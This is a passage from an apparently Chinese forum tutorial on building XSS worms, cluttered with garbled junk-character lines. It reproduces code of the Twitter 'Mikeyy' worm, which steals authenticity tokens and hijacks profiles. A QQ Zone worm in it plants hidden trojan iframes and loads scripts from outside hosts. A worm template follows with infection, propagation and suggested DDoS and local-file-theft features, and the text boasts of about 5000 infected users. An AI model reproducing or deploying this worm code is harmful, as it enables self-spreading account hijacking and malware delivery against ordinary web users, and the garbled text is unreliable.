; x& |, x0 `. v" k1 T& d2 ~6 ^% {XmlHttp.send(null);
' J& B# f! A: a
<script>
6 K, w# r8 l- }- @) o" Q) x) ^* ^复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
) U* a. J6 t. p复制代码案例:Twitter 蠕蟲五度發威
第一版:
* A, b0 M% d/ ~1 A- t9 o  下载 (5.1 KB)
' X, Q4 e$ Y1 T9 Y
) Z+ `9 P% _! Q8 E) c6 天前 08:27
0 d+ o7 D! M, z; E
7 M  E+ m7 y* k+ l! ?第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
+ N$ c- j$ ^( p" Z1 I0 A. U
   2.   

   3. function XHConn(){  

( ^; n4 s: W# O- f$ Y& W$ L& k   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
7 @, j) o$ y' h
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

6 g$ L1 C; m: D$ x% y8 N2 ^6 S, l7 [   8.   catch(e) { _0x6687x2=false; }; }; };  
  {) s# u+ ]5 P- U* G- I# M复制代码第六版:   1. function wait() {  
6 ]6 M' I6 ]( T# {2 E
2 b. F" \7 s( m" c! q% l* @   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  
* ]0 Y3 l  X( F
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

* s: [4 ~; v. s" l* X: M: B* R   6.   var authtoken=authreg.exec(content);  
$ v: |; ~4 @0 {
   7.   var authtoken=authtoken[1];  

5 h3 G) ^* j- p* t) F5 p2 b   8.   var randomUpdate= new Array();  
+ K, T" l, }! w. ^0 ?) x
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
' r9 Y$ f5 L, L, ]: D
# v3 s) ~  m* Q  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  e" i) o1 M; N: V- P& y) z  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
3 X- F: o: D! F6 d+ r+ }! F2 y% o# I
. Y) ^$ b3 |) G! E7 [6 q2 w9 |  P1 r  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
& K  [" Y  Q+ k4 x9 r' C' {
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
$ M! c. Q( U2 T* }9 u. O1 H
+ e" H( ^4 l6 e/ F9 v  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
4 ^( t* y; W) d! _$ I; Y
1 h' ]( P  s) {3 @) A) X  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

9 z  r5 Y. d8 Q: f8 A8 o  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
; h9 Q) Z) x1 d
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
# n% X, w% i; `1 I' W8 ?# {4 @* s
7 P) `3 j0 v) ~3 f0 D  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
- ~; ^+ f9 C) _3 D3 x, G; R
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

4 M! X. _. \+ u8 R: q2 x! S# ^3 N  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

$ e% R+ F, [9 b- G" T% ^  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
8 ]: ]8 C* L* P7 v4 h3 L* ~
; ]% d; W" a( I1 y  24.     
% e2 g1 E8 C: [: _, h
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
( y. P! I: w8 S. ^: M# k1 \
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
3 s2 P' k$ \! G
! k! w5 X( q) G$ s  28.   var ajaxConn= new XHConn();  
7 T& s/ c4 ]& m2 F1 U
5 T5 I8 J2 ^/ Q, ^  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
+ b" l) l% P! q, Z! C! i, K
  35.   var XSS=urlencode(genXSS);  

* V3 J9 @2 _# \9 G% U0 A! p6 |  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
7 l6 f: }+ J5 p6 d
  39. } ;  

% w0 h$ b! @$ S7 u* e) G% k4 W  40. setTimeout(wait(),5250);  
$ K& u' ]4 C0 U) S0 j2 e' p1 r复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;


! n7 J1 \, ^; W
var shendu;shendu=4;

//---------------global---v------------------------------------------

. h& Y' S/ n6 }8 O9 m//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
% Q/ q7 k' v" [* g: T! P
4 x% ^% r3 |0 u8 Y: X! xvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
; K3 s; T3 R1 k& ^- w" [
var myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;
# J# ]' m7 z3 G0 ^
' u% V; \5 G1 D6 S! g( ^) z# f        var gurle=gurl.indexOf("com/");
0 \) ?  v/ l3 q
) ]) {1 H* s" q9 B) H0 L" O        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;
: r; B& C. z# }5 w9 [. O1 [
1 B* B1 B. p2 X* S: Y' G           var cookieS=visitorID.indexOf("g_iLoginUin = ");
/ O) t) ?: y8 }+ t! {3 w# ?
9 [# w+ a$ ?/ W- j9 G" {: |        visitorID=visitorID.substring(cookieS+14);

  @! x# @; T1 J        cookieS=visitorID.indexOf(",");
0 v. O* ^6 L2 V0 f& O% d
        visitorID=visitorID.substring(0,cookieS);
2 A8 `5 ]+ E) ?5 S7 X. C
6 f: v+ q4 D: ]0 B        get_my_blog(visitorID);
  C  o3 I, N1 u& `1 f: P
        DOshuamy();

+ l; \+ s  H9 C8 s$ p5 Y* n
0 r/ D! r+ V( ^2 ^# f! Q: F  W+ Y
5 C" ?6 N6 o- ]; l! Z7 @//挂马

function DOshuamy(){
2 W5 ?$ x0 S6 G" u6 J
var ssr=document.getElementById("veryTitle");

1 _8 z5 M# A; [! H8 |$ ossr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

. J) y# K) w5 L+ R$ y& ^}
" B8 E5 }& V' W4 g$ `% z+ y5 j/ i


4 N4 }+ R' b0 @, _2 k. t+ P//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

$ m; p+ J0 M+ G8 n  x0 Z  afunction get_my_blog(visitorID){
+ v& S9 J( r6 b! o' ^$ {4 |
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
- l& B% k+ |# a7 g* s* b$ O
/ c3 z0 u: _. I( |& p& k  f2 [   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
1 e' H3 d5 Y% V. P; u
" z) D& y8 R: g% f) s: C3 d! ~   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
: U- n1 j! x! C
  Y3 D8 p* e/ Z6 ~, `0 O     xhr.send();guest=xhr.responseText;
( j1 ]; J; J" G/ U
9 Y* N8 ]" E& G. a# G     get_my_blogurl(guest);    //执行这个函数
/ b0 X  F- p3 V0 u6 u: B. q: i0 c. ~8 _
6 _( Q, l7 O" ~1 m    }
* Y4 g( }  Q, _- ~
}
8 M, S0 a5 U; m# N5 }
& b; F6 f3 M, Y6 F, E5 L8 E
% \# B# z$ W+ m
- }, t6 O. i+ b6 p* N6 o//这里似乎是判断没有登录的
8 M/ v0 F; d' O; W
6 `( O. p. v  [; b4 ofunction get_my_blogurl(guest){
7 f0 I1 w# |/ i0 S
  var mybloglist=guest;
% M$ o8 S- Q8 u, z5 i
7 ~) u. c& |: z2 m' Y  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
# m. W; t5 H# ^2 d' p  r
* `: B* z& j+ `- ]4 |" {  n$ p; x     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的
) W4 V$ I/ q1 I5 {8 F5 ^
: F5 Z" @! `6 X) s& c8 f# D5 @6 Z1 [         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
7 ]* o9 k* B: r$ E& k
' C* b/ _0 {, r. @3 M2 O, }}

get_my_testself();    //执行这个函数

}
6 e4 g; S) O5 Y. X' h- e  N
  t6 g( b7 l4 A) s: }
; u7 c9 f+ v) ]  ~
9 b. B' y! V  b7 f//这里往哪跳就不知道了

0 ^8 Z" o0 h$ k1 Z* X: T+ D8 Vfunction get_my_testself(){
! b2 Z  Z! o, B. c, M" p' T( k1 P
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
1 I! }2 k2 M8 \1 d, w
9 }( E+ T! j) x) D      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

* \: \( v/ j' f- G" `      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
9 p* w0 T. w8 k( _, V
. R% W8 D) d4 m4 o3 V      if(xhr2){        //如果成功
( Y  K9 _- F- ~1 T5 }0 I0 }
! b/ m1 Z8 `& R. P  ?              xhr2.open("GET",url,false);     //打开上面的那个url

" Q3 W* m$ I8 w              xhr2.send();
2 w6 Q! Y& ^9 A; C4 p: z
- g# \/ a9 B# J9 L- `+ J              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
+ a5 G+ [$ F+ n. o
* R  m7 }' i9 {* \" g              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

4 x# o! O& K( p              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
- B) c7 y3 T/ C, S5 g
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
8 g" w9 B; o$ a& ?7 c8 s
" Y, i. D1 e, C/ x7 U6 a               }

1 c# ^; o: [5 L' `8 b! @              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

$ d* n. d" O7 o& P8 }                add_js(visitorID,targetblogurlid,gurl);    //执行它
% {" @0 G9 `# j$ }' k
                break;
8 Z3 E+ u& n+ x9 A
               }
' v. t" N: i8 {; Q5 ?! x
        }      
, \  g1 X2 r4 y6 k$ U# e) H
6 F- W0 c! D/ A$ J7 E: E, I}
3 h$ c: @3 F1 a3 L' [9 A
}
2 [% s$ h+ A+ ?. f
: R, o: |2 j( e$ Z% p( |# D3 d
1 L( v* w& i. _" P# Z) X* R! q  Z
- ]( b* B) d/ c, o//--------------------------------------  

8 V: d  h7 O1 \- S0 G; M( S//根据浏览器创建一个XMLHttpRequest对象
! O* U- ?! ]7 U$ r. g+ H& d& h, r* M6 B2 V
function createXMLHttpRequest(){

: z8 W0 j1 M: b# w1 E' j& X    var XMLhttpObject=null;  

: I( q* a) [' ?. k) C* [    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
4 @/ U, E, ]  p' @; Q' k, V
    else  

* W  G: e$ w; O      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
' S9 {$ S) k/ a# |
' w$ L* d# {1 q' E5 q  |4 a        for(var i=0;i<MSXML.length;i++)  

, o/ f7 X- M" {& b2 _; Y/ I        {  
# A1 H" P3 z! `
            try  
% k3 R: u+ Z, o. w0 V
            {  
5 R: R$ T4 ~# D1 M
                XMLhttpObject=new ActiveXObject(MSXML);  
) s. w* V! e6 d6 }3 e/ p
                break;  
$ k& [7 r- F6 B7 Y
            }  

            catch (ex) {  

) H4 i" f' R% F4 ]% ~            }  
( p2 c* {/ n) h, y" v
         }  

      }
" M7 \! f4 S7 q. T6 s- w. C
9 F( H# r* i$ C& I9 }1 P6 p9 rreturn XMLhttpObject;

( S  L( B3 G! |: X+ ]4 P. s! d}  
. S+ {. X! [# c5 `
2 s1 F5 o6 M7 }9 X
1 u% V5 A) {- \% ^
//这里就是感染部分了
& D2 m+ q& b, r8 p6 o' L8 S, {
1 }! M' f8 v9 [function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
! v7 K4 W0 t6 s, L. ~1 g% V' H5 n
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
# F. I& o( O* p7 g+ ?
s2.type='text/javascript';
/ v: b2 v) e& E
document.getElementsByTagName('head').item(0).appendChild(s2);
6 L% Y2 r; M4 K( C$ Y
$ E  B! C. U0 z& ]$ D}

9 p6 @$ G( l; @; x* A

function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
' j1 t- ?; R4 J+ U
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
1 P6 P0 _( T, h, ?
- a5 z) \3 H1 B: ^: _( \0 R& Hs2.type='text/javascript';
, b! l3 n9 k" ?( \7 T; K
1 I" D3 }+ o; F) S: y1 t: j- udocument.getElementsByTagName('head').item(0).appendChild(s2);
4 j. A2 l; u! R( \! v! ?5 N
}
$ N! `3 k! o& N- C复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
! m% }5 L4 u) S  [/ M1 Q9 k' F0 y+ p  H) W1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
5 ^! |  f1 W+ I2 X
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
0 y3 ~/ o, _! G& [9 B
2 m9 z) X9 D% @% O0 U综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
, n+ _7 L8 p9 }: M0 p% d6 N
, h# u0 f/ q  d7 s' A& t. N
" O1 J1 N+ D* B# c5 v9 @下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

3 o% Q4 Y! t9 F2 N* \首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

7 G' l2 T$ A+ q& k! ]& ^if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}
7 H( H" {- z4 O/ w6 K6 l
0 P, n) c. H9 I$ d6 ?3 e} else if(window.ActiveXObject) {

' \9 i0 M/ H8 e( f" H7 V+ Xvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

9 o, J# k9 @) l5 t: a' Xfor(var i=0; i<versions.length; i++) {

# \7 l& P9 G; i4 @& f: xtry {

request = new ActiveXObject(versions);
7 u( P& d: Z- D9 m' n
} catch(e) {}

}

}
# C( \! B7 [( f4 k0 y' R% r
/ M# D! U1 L3 `# n+ WxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

- E' C6 S& ]9 {1 \        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);

( u  Q5 c; s+ ]        var Browser_Agent=navigator.userAgent;
# y: n& f: f$ a0 `2 q
        
3 W, O% ^8 G; \2 l
        var Actual_Version,Actual_Name;
* d' p. I0 R) }6 |9 T
        
0 J& V' u" t9 O
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
: Z. i% L3 p+ s3 V, R& B
        var is_NN=(Browser_Name=="Netscape");
& }3 I* R3 x+ _9 N. s" f
        var is_Ch=(Browser_Name=="Chrome");
7 p4 \& Q9 M/ q; ]9 f
        
, `" V6 f3 }2 j6 ?! R. l. c
; b' v' ?- E' U2 P4 _5 [/ S4 F        if(is_NN){

: Y' w0 V  Q8 a            if(Browser_Version>=5.0){
9 |) r  J' H7 X5 v/ R' \1 I
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
0 r. O. P! k8 O# E+ j$ {/ |
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

' O  f" J. Q6 G: H

                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
7 W5 r; s. m( l- u/ y" Q+ b
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
  Z2 ~5 a; O* K$ t" j. V
            }
3 l9 v+ E7 j% p7 R0 Z: {  W
            else{

                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

" B3 O0 F3 L% D* r" d% @0 k            }
5 @. ?, U7 N+ v& b( U9 g6 j
        }
! [, x# X6 ?4 ^# h8 A# C
$ R* @# I0 o. x$ q# b: P# \' d3 g        else if(is_IE){
8 U& a' M$ c% m9 I) t" ~% r
            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

( {& J5 F5 G: \9 v- L            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
$ J, r: c+ R: ?) o4 E5 P
            Actual_Name=Browser_Name;

. E) q# d$ o. m+ c1 a- e            
% u1 s8 {- l) i; E
! i; g  c" `; N- U3 X2 R  G            if(Browser_Agent.indexOf("Maxthon")!=-1){
/ o$ u, A' b! X$ L
                Actual_Name+="(Maxthon)";
# T+ ?+ N( q0 z% S% J3 O
" ]; ]+ ]4 G2 k. y# V            }

7 S7 v* W1 T: t& M1 D/ O            else if(Browser_Agent.indexOf("Opera")!=-1){

1 d6 X3 o! U. ?" k- c: p/ o. S" P                Actual_Name="Opera";

! `9 @* {& e6 |$ F' W2 K# n: L                var tempstart=Browser_Agent.indexOf("Opera");
- P! V  M% @8 Q/ }6 G8 g
                var tempend=Browser_Agent.length;
; i; E" Q, r: X, q2 ~( C
6 ]6 q6 m9 z& R, w& ~                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
5 f1 X" I) ~6 t; Y% B
            }

/ K# P8 B/ t" B1 Z* p, h        }

        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");

. E1 X, }! k& u            var Version_End=Browser_Agent.indexOf(";",Version_Start);
3 _9 I  E+ [9 v8 @
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
4 d$ J1 H( Q9 i
            Actual_Name=Browser_Name;
5 _4 ^6 j# M9 D4 u  s- a. g- s
4 I# v/ V; k5 A) {) N) Z6 }7 W' S/ z            

  d1 f( h+ N. ]; `            if(Browser_Agent.indexOf("Maxthon")!=-1){
! j' W  c0 B% j$ A1 w. t
                Actual_Name+="(Maxthon)";

  W  M9 W( r, ~, u" S* H9 c            }
' W, V; V8 D3 l. |$ J6 s. O
  X  V3 [! N( T! b. j$ X. U( W            else if(Browser_Agent.indexOf("Opera")!=-1){
) D' n/ r3 S0 ~) h& v
7 c' m! j2 x$ _' J( n( B6 o                Actual_Name="Opera";
$ o! `& @4 i; L: ~+ p0 g
                var tempstart=Browser_Agent.indexOf("Opera");
  z% Q; f: }; O9 F% d/ u5 S  h
# |  O; S# h$ }3 Q/ Q0 [9 ~; }( u8 g                var tempend=Browser_Agent.length;
% m8 i" J, n: v; y) t
; P, w$ p2 ]5 F) ?8 \1 A                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
9 R$ X+ Y$ a; C! L/ q
: W  u" G6 [9 y- G            }
8 w/ o: D2 m6 B+ r( }
        }

6 H, h1 k( `) m# g        else{
( r; Y: L6 Q2 n7 O& U
            Actual_Name="Unknown Navigator"

: \6 L1 ]) V; h9 H* C5 y9 w% x            Actual_Version="Unknown Version"
( p3 f5 F1 C' E! C1 [
        }
4 _, Y6 r! V1 q( Y; x( O2 P
* p# J" U! Q& r: ~7 S* `

. `- ~- W( s+ p. c1 R; O4 C5 V        navigator.Actual_Name=Actual_Name;
) r% a: F7 r! b- ?4 i: U; h
6 `6 g* i$ u! w        navigator.Actual_Version=Actual_Version;
6 O; v! Y* ~: a1 V" q! h0 s
% p/ \) X! d3 q4 u' a; b6 x        

+ u# s, ?% N) P+ {: n9 Z        this.Name=Actual_Name;
  s( G8 Z; k$ G% b$ s
        this.Version=Actual_Version;

4 O9 P9 H0 H% Z. \! K( F& Q( T    }
2 t9 @' s) @; `0 _  e
% E8 s& A& J1 k$ N    browserinfo();

, U* `8 d- ^, S# N1 {    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
% k) W( Y2 `! |2 m% o% ?
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
. d2 n9 i4 i* j$ D$ t4 g* I1 p
7 k1 Y8 D0 E3 H2 E" B% x0 [var resource = xmlHttpReq.responseText;
0 F0 t! k* f: \6 Z( ]& r  O
var id=0;var result;

2 P- c& V7 Y& |var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
9 C" F9 O- W% e3 s$ Q; K9 b
% o$ ]. ?1 d9 K$ P0 cwhile ((result = patt.exec(resource)) != null)  {
/ F8 C. `" t1 n5 z, Q! w
8 y" T* @% z2 _" Iid++;
* j, |( j% z7 H9 W
}
7 w- {3 c8 x" }. T9 u+ v复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
0 Y, E+ ~: p3 J" w2 P( m. ?
no=resource.search(/my name is/);
6 E' z( a* f6 q
5 t/ v) j. t3 K" \" `. Svar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
0 d' D7 G  E9 Y# l; |9 Z
3 N7 x7 r& C; B8 ?; T5 @' NxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
# s1 D( D* I0 u6 n. J4 O" g
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

$ @) e& Q  d" c7 X8 _xmlHttpReq.setRequestHeader("content-length",post.length);
! {' b- G: g0 b1 s4 w/ `
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

/ J8 x5 o: A2 q# r8 H7 jxmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

9 m9 [2 s! v/ Uvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
/ C! \" q$ |) ?9 j: K2 G
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

; f, K" j) Y' ~" |/ y6 d6 _  O# ?var post="wd="+wd;

) q6 J0 s% U8 s! I- ?( w" y8 o' ^xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
5 I1 ~5 C% `! P. E
- q, D2 b9 Y7 {- i/ K# S' b2 gxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

3 ~! |  l# A9 x$ LxmlHttpReq.setRequestHeader("content-length",post.length);
# S, R9 f" t( u" c! ?; U* K% ?
- T# q" g# Z' X: I1 P3 dxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

+ V1 m, S% ]8 F$ g4 _, G6 M}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

0 z" s$ N  }# ]5 c1 _7 W' X  i# g( d5 T
7 X& h. v. O7 J" L
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
6 n+ a/ J9 H! S5 `4 J, R, X操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

: m) x8 F( o) W& ^
/ D0 M3 q& @* B
' u$ a/ _5 o! O0 |
7 L" T, D+ p# S" k* J: G
* s- \  ]3 `1 E9 B/ s6 Q0 b% f- ?
; D- B2 X' e' p8 @
, `- M6 a% M! N' ?! ^/ s7 d
本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
# J9 ?. C. i5 W+ j, F* HOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
2 Z; j  t$ M5 v- S/ ehttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
